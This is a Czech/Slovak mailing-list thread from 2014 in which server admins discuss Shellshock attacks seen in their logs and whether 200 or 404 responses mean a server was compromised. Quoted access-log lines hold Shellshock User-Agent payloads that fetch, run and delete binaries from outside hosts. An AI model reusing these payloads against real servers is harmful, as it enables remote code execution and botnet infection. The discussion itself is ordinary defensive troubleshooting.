[vpsFree.cz: community-list] Útoky na bash běží

[Ján Raška]

Presne tak, neviem koho napadlo ze 404 znamena ze je vsetko v pohode, ved predsa HTTP status code indikuje nieco uplne ine nez to ci sa nastavili nejake env. vars, prip. ci sa spustali nejake externe prikazy. Moze sice indikovat neexistujuci skript (tam je ale potom otazne ci sa v takom pripade 404 vrati este pred nastavenim env. vars, v tom sa az tak nevyznam), ale predsa aj existujuci skript moze vratit 404, to je predsa uplne normalna vec ktoru skript vrati pri poziadavke na get/update/delete neexistujuceho obsahu.

> On 29 Sep 2014, at 11:58, Petr Sykora <petr.sykora at gmail.com> wrote:
> 
> Jinak ono zakernost tedle chyby je to, ze se ten bash nemusi pouzivat
> naprimo, ale staci, aby se z procesu, ktery ma nejakym zpusobem
> zmanipulovane env pustil system('cokoliv'), a to klidne i na urovni
> nejake ceckove knihovny, u ktere si to clovek "zvenku" neuvedomi.
> 
> U cisteho CGI je jednoducha cesta, jak zmanipulovat env, jelikoz se
> ruzne parametry o requestu predavaji prave v env, konkretne uplne
> nejjednodussi je asi user agent, kterej se typicky predava v
> $HTTP_USER_AGENT.
> 
> Vyhodou FastCGI a podobnych je to, ze amanipulovat env neni tak
> jednoduche, jelikoz info o jednotlivych requestech se predava jinak,
> konkretne u FastCGI socketem.
> 
> Takze opravdu v zasade ani 200, ani 404 nemusi nic znamenat :(
> 
> Zdar, Petr
> 
> On 9/29/14, Ján Raška <raskaj at gmail.com> wrote:
>> Osobne si myslim ze 200 odpovede nemusia nic znamenat. Ked si vsimnes, 404
>> to vratilo pri /test a /cgi-bin/test.sh co su URL ktore ocividne nemas, ale
>> / ocividne mas :) a tam to vratilo 200.
>> 
>> Ono aj ked mas zranitelny bash, stale sa nic nemuselo stat, problem je
>> hlavne ak web bezi cez CGI, a co som sa o tom bavil so sysadminom jedneho
>> zakaznika, tak pri FastCGI (bezne riesenie pri PHP pod nginx) SCGI a pod.
>> vraj treba aby bash bol pouzity ako CGI jazyk, lebo FastCGI a pod.
>> nepouzivju premenne prostredia na posuvanie informacii skriptu. A uprimne
>> povedane, nepoznam vela webov ktore dnes bezia cez klasicke CGI, a pouzit
>> bash ako skriptovaci jazyk pre FastCGI mi teda ako dobry napad nepride :)
>> 
>> Anyways, 200 znamena, ze tvoj webserver uspesne spracoval request, a pokial
>> zrovna nepouzivas CGI, tak mas viac menej Ty kontrolu nad tym ci je mozne
>> obsah tych params spustit v shelli alebo nie :)
>> 
>>> On 29 Sep 2014, at 10:37, Jan B. Kolář <janbivoj.kolar at zazen-nudu.cz>
>>> wrote:
>>> 
>>> Díky za odpovědi,
>>> 
>>> ano, to jsem si myslel. Mě právě zarazilo, že v logu mám nějaké odpovědi
>>> 200:
>>> 
>>> 70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /test HTTP/1.0" 404 168
>>> "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z
>>> 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf
>>> /var/tmp/ec.z*\x22"
>>> 
>>> 70.42.149.67 - - [28/Sep/2014:08:16:30 +0200] "GET /cgi-bin/test.sh
>>> HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z
>>> 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf
>>> /var/tmp/ec.z*\x22"
>>> 
>>> 70.42.149.67 - - [28/Sep/2014:08:16:31 +0200] "GET / HTTP/1.0" 200 3296
>>> "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z
>>> 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf
>>> /var/tmp/ec.z*\x22"
>>> 
>>> 212.51.60.58 - - [29/Sep/2014:00:30:18 +0200] "GET / HTTP/1.0" 200 3296
>>> "-" "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot
>>> -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh
>>> /tmp/sh;rm -rf /tmp/sh\x22"
>>> 
>>> A to přesto, že jsem bash aktualizoval už 24. a 26.9. (mám aktuální verzi
>>> Debianu). Viz výpis "less /var/log/apt/history.log":
>>> 
>>> Start-Date: 2014-09-24  16:38:28
>>> Upgrade: bash:amd64 (4.2+dfsg-0.1, 4.2+dfsg-0.1+deb7u1)
>>> End-Date: 2014-09-24  16:38:34
>>> 
>>> Start-Date: 2014-09-26  08:39:57
>>> Install: php5-cli:amd64 (5.4.33-1~dotdeb.1)
>>> End-Date: 2014-09-26  08:40:18
>>> 
>>> Start-Date: 2014-09-26  15:10:51
>>> Upgrade: bash:amd64 (4.2+dfsg-0.1+deb7u1, 4.2+dfsg-0.1+deb7u3)
>>> End-Date: 2014-09-26  15:11:23
>>> 
>>> Poradíte, co teď dál?
>>> 
>>> Honza
>>> 
>>> On 29.9.2014 10:12, Petr Krcmar wrote:
>>>> Dne 29.9.2014 v 10:08 "Jan B. Kolář" napsal(a):
>>>>> možná hloupá otázka - dá se nějak z logu zjistit, zda ten průnik byl
>>>>> úspěšný či nikoliv?
>>>> Dá se zjistit, jestli útočník tipnul správný soubor. Pokud tam vidíš
>>>> 404, tak se určitě nikam nedostal a neexistuje skript, který měl možnost
>>>> ten podvržený kód zpracovat. Pokud ovšem v logu vidíš 200, pak útočník
>>>> kód dostal k serveru, dostal výstup, ale už nevíš, co se dělo dál.
>>>> Jestli byl útok úspěšný tam nevyčteš.
>>>> 
>>> 
>>> _______________________________________________
>>> Community-list mailing list
>>> Community-list at lists.vpsfree.cz
>>> http://lists.vpsfree.cz/listinfo/community-list
>> 
>> _______________________________________________
>> Community-list mailing list
>> Community-list at lists.vpsfree.cz
>> http://lists.vpsfree.cz/listinfo/community-list
>> 
> _______________________________________________
> Community-list mailing list
> Community-list at lists.vpsfree.cz
> http://lists.vpsfree.cz/listinfo/community-list